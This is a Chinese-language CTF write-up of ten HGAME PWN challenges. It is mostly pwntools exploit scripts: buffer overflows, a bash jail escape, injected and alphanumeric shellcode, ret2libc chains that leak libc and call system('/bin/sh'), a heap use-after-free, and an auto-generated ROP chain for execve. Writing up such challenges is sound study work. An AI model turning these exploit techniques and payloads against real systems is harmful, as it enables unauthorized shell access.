HGAME 2017 or 2018 PWN levels
這個算是做之前的復現吧,感謝Veritas501
WEEK1
1.flag server
拖進IDA看一下
流程倒著看,要有flag-----v8=1-----v5=v6-----s1=admin,我們可以把s1覆蓋掉-----username長度不能大於63,不能等於0-----之後還要猜出隨機數v6,看一下怎麼覆蓋
這些變數都在一起,美滋滋
exp
from pwn import * cn=remote('111.230.149.72',30001) cn.sendline('xiaoyuyu') cn.recvuntil("your username length: ") cn.sendline('-1') payload='a'*(0x50-0x10)+p64(1) cn.recvuntil("whats your username?") cn.sendline(payload) cn.interactive()
2.guess number
scanf直接溢位就好了,如下
a1和nptr的偏移量 0x10C+0x8
exp
from pwn import *
cn=remote('111.230.149.72',30002)
cn.sendline("xiaoyuyu")
payload='0'*(0x10C+0x8)+p64(0)
cn.send(payload)
cn.interactive()
3.zazahui
這次有兩個檔案,古天樂和正常的
拖進IDA
裡面兩個函式,第一個是個file open之類的,讀取flag和ad的值,第二個函式如下
感覺沒啥溢位的地方,跟進函式sub_8048634
基本可以猜測出就是個read函式,範圍是188,我們可以看到s1的範圍從0xC0到0x10,只有176,那麼這個函式就溢位了,把讀取的地址改到flag的地址,同時有一點要注意,要把v3變成100,不然flag讀不出來
exp
#coding=utf8 from pwn import * context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] local = 0 if local: cn = process('./zazahui') bin = ELF('./zazahui') #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') else: cn = remote('111.230.149.72',30003) bin = ELF('./zazahui') libc = ELF('./libc32.so') def z(a=''): gdb.attach(cn,a) if a == '': raw_input() cn.sendline("xiaoyuyu") flag_addr=0x0804A060 payload='a'*176+p32(flag_addr)+p32(100) cn.recvuntil('> ') cn.sendline(payload) cn.interactive() #local x64: main_arena = 0x3c4b20 #local x86: main_arena = 0x1b2780
WEEK2
4.bash jail
可還行,拖進IDA看一下
我第一反應是把Lineptr改成/bin/sh
分析一下里面的函式,400706裡面的意思是如果開頭輸入的是(a,b,c,f,h,g,i,l,n,s,t,*)會輸出hacker!! go away~~ QAQ
那我們輸入數字試一下,情況如下
大概瞭解了,應該是shell的指令碼,在shell裡面有如下這些
我就試著$0,然後打我想要的指令,竟然成功了,原理要是不是這樣的,不要噴我,請指正
exp
from pwn import *
cn=remote('111.230.149.72',30004)
#cn=process('./bash_jail')
cn.sendline('xiaoyuyu')
cn.recvuntil('> ')
payload='$0'
cn.sendline(payload)
cn.interactive()
5.ez shellcode
開啟了棧保護,去IDA看看
system函式之類的貌似都沒有,猜測要洩露,不過看見直接可以直接執行我們要的shellcode,那就直接造一個就好了
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./ez_shellcode')
bin = ELF('./ez_shellcode')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('111.230.149.72',30005)
bin = ELF('./ez_shellcode')
libc = ELF('libc32.so')
cn.sendline('xiaoyuyu')
cn.recvuntil('> ')
payload=asm(shellcraft.sh())
cn.sendline(payload)
cn.interactive()
6.hacker system ver1
這四個功能裡肯定有問題,找溢位點,拖進IDA逐個分析
exit函式沒啥用,就是個exit(0)
然後沒有system函式之類的,這回真要洩露了,先洩露某個函式的got,然後與libc中對比找偏移量,然後把system函式和/bin/sh的記憶體地址都找出來
裡面有個函式叫read_n的函式,可以讀取我們想到位元組長度的資料,add和del函式中都有的,但是del裡面的用起來方便一點,就選擇了del的,本來想有一個write之類的函式來洩露一下,但沒有,就拿puts函式的地址來洩露,其實都一樣,至於read_n函式要讀取的size大小,自己算一下就好了
具體做法:
1.在read_n中填充s1的空間,並覆蓋掉ebp;
2.修改eip為puts的函式地址,讓其執行,然後洩露我們想要的地址,並將puts函式的返回地址再次改為主函式以便我們繼續利用;
3.通過洩露的地址來與libc檔案中的地址進行對比,算出偏移量,一邊找出system函式和/bin/sh的在記憶體中的真實地址
4.再次溢位read_n函式,執行我們需要的函式system
注:我自己後來洩露puts_got表地址不行,就換成別的函數了,就可以了,也是迷,而且直接把
但是一直都不行,我起初以為是del怎麼了,就換成了print,後來參考了別人的的值,發現應該是需要將自己的rop放在bss欄位上可以讀的位置上去才行,也算是繞了個彎,反正也是神奇,有些地方就不會,emmmm
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./hacker_system_ver1')
bin = ELF('./hacker_system_ver1')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('111.230.149.72',30007)
bin = ELF('./hacker_system_ver1')
libc = ELF('libc32.so')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
cn.recvuntil('Input your token:')
cn.sendline('xiaoyuyu')
printf_addr=0x08048A20
main_addr=0x08048C1D
padding='a'*(0x34+0x04)
payload=padding+p32(bin.plt['puts'])+p32(main_addr)+p32(bin.got['__libc_start_main'])
cn.recvuntil('>')
cn.sendline('2')
cn.recv()
cn.sendline('100')
cn.recv()
cn.sendline(payload)
cn.recvuntil('\n')
start_main_addr = u32(cn.recv(4))
print hex(start_main_addr)
base=start_main_addr-libc.symbols['__libc_start_main']
system_addr=base+libc.symbols['system']
bin_sh=base+libc.search('/bin/sh').next()
payload2=padding+p32(system_addr)+p32(0xdeadbeaf)+p32(bin_sh)
cn.recvuntil('>')
cn.sendline('2')
cn.recv()
cn.sendline('100')
cn.recv()
cn.sendline(payload2)
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780
7.ez_shellcode
這題不知道和第五題有什麼聯絡,拖進IDA看一下
分析一波,就是buf不能是A~Z,1~9,不然就break,但是break出去好像正是我們想要的
僅限制shellcode是a~zA~Z0~9範圍內,這樣的shellcode叫alpha shellcode,利用msfencode可以生成,真的是學到了
連結:https://blog.csdn.net/v_ling_v/article/details/42824007
exp
from pwn import *
cn=remote('111.230.149.72',30006)
cn.sendline('xiaoyuyu')
cn.recvuntil('> ')
cn.sendline('''PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA''')
cn.interactive()
這題還沒有能力糾結太久,說起來也慚愧,只能拿別人做好的shellcode來用
WEEK3
8.hacker system ver2
這一題就是把32位改成64位,注意一下引數傳遞的順序就好了
exp
#coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 1
if local:
cn = process('./hacker_system_ver2')
bin = ELF('./hacker_system_ver2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('111.230.149.72',30009)
bin = ELF('./hacker_system_ver2')
libc = ELF('./libc64.so')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
rdi_addr=0x0000000000400fb3
main_addr=0x0000000000400E80
payload='a'*(0x30+0x08)+p64(rdi_addr)+p64(bin.got['__libc_start_main'])+p64(bin.symbols['puts'])+p64(main_addr)
cn.recvuntil('> ')
cn.sendline('2')
cn.recvuntil('searched by name, input name length:')
cn.sendline('300')
cn.recvuntil('name:')
cn.sendline(payload)
cn.recvuntil('\n')
base=u64(cn.recv(6)+'\x00'*2)-libc.symbols['__libc_start_main']
system_addr=libc.symbols['system']+base
bin_sh=libc.search('/bin/sh').next()+base
payload2='a'*(0x30+0x08)+p64(rdi_addr)+p64(bin_sh)+p64(system_addr)+'aaaaaaaa'
cn.recvuntil('> ')
cn.sendline('2')
cn.recvuntil('searched by name, input name length:')
cn.sendline('300')
cn.recvuntil('name:')
cn.sendline(payload2)
cn.interactive()
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780
9.message saver
乍一看和之前的差不多,但是憑直覺覺得是堆,看完真的是堆,看一下哪裡有問題吧,如下
這裡顯然是可以double free的,我們需要的函式也有,如下
看一下我們malloc的結構,我是結合IDA和程式執行流程直接猜的
可以看到add的時候,建立了兩個chunk
第二個chunk結構大概是:ptr|message|encode
我們刪掉之後沒有賦0,因此可以修改或者覆蓋後後繼續呼叫
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 1
if local:
cn = process('./message_saver')
bin = ELF('./message_saver')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('111.230.149.72',30010)
bin = ELF('./message_saver')
libc = ELF('libc64.so')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
key=0x0000000000400816
payload='a'*0x10+p64(key)
#cn.recv()
#cn.sendline('xiaoyuyu')
cn.recvuntil('> ')
cn.sendline('1')
cn.recvuntil('input message length:')
cn.sendline('24')
cn.recvuntil('input message:')
cn.sendline('xiaoyuyu')
cn.recvuntil('===')
cn.sendline('2')
cn.recvuntil('>')
cn.sendline('4')
cn.recvuntil('>')
cn.sendline('2')
cn.recvuntil('input message length:')
cn.sendline('24')
cn.recvuntil('input message:')
cn.sendline(payload)
#cn.recvuntil('>')
#cn.sendline('3')
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780
10.calc
這不會也是堆溢位之類的吧,拖進IDA看看,反正功能還是可以看出來是一個計算器
我自己找溢位找了半天…………後來發現有個變數沒有限制,如下
然後這個檔案還有一個特點,就是他是一個靜態連結的檔案,我剛開始是完全不知道要幹嘛的,然後看了別人的WP,說可以用rop chain來搞定,目前還不太清楚原理,只知道算是shellcode的一種吧?還沒弄懂
不管,先看一下溢位的偏移量,如下
偏移量就是0x110-0x10=0x100
第一種方法最無腦,利用ROPgadget的ropchain功能,對於靜態編譯的程式,很容易可以生成一個rop鏈,將rop鏈覆蓋在返回地址處即可,缺點就是這種自動ropchain一般性很長,如果有一些情況限制了長度就會有麻煩,這題倒不用考慮這一點
ROPgadget --binary calc --ropchain就可以自動生成,結果如下
emmmmm,的確是比較長
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 1
if local:
cn = process('./calc')
bin = ELF('./calc')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('111.230.149.72',30008)
bin = ELF('./calc')
libc = ELF('libc32.so')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
from struct import pack
# Padding goes here
p = 'a'*0x100
p+=p32(0x40)
p+=p32(0)
p+='a'*0xc
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8446) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8446) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049603) # xor eax, eax ; ret
p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080dee5d) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049603) # xor eax, eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0806d445) # int 0x80
for i in range(len(p)/4):
cn.sendline('1')
cn.recvuntil('a:')
cn.sendline('0')
cn.recvuntil('b:')
cn.sendline(str(u32(p[4*i:4*i+4])))
cn.sendline('5')
cn.sendline('6')
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780
其實就是每一次add的時候修改一些eip,最後在exit時,被修改的eip就會跳轉到我們想執行的指令上去,為什麼每次只讀4個位元組主要是因為輸入的範圍不能超過int的範圍,而且畢竟是32位的程式,ropchain中的指令所在的地址每條也是四個位元組大小的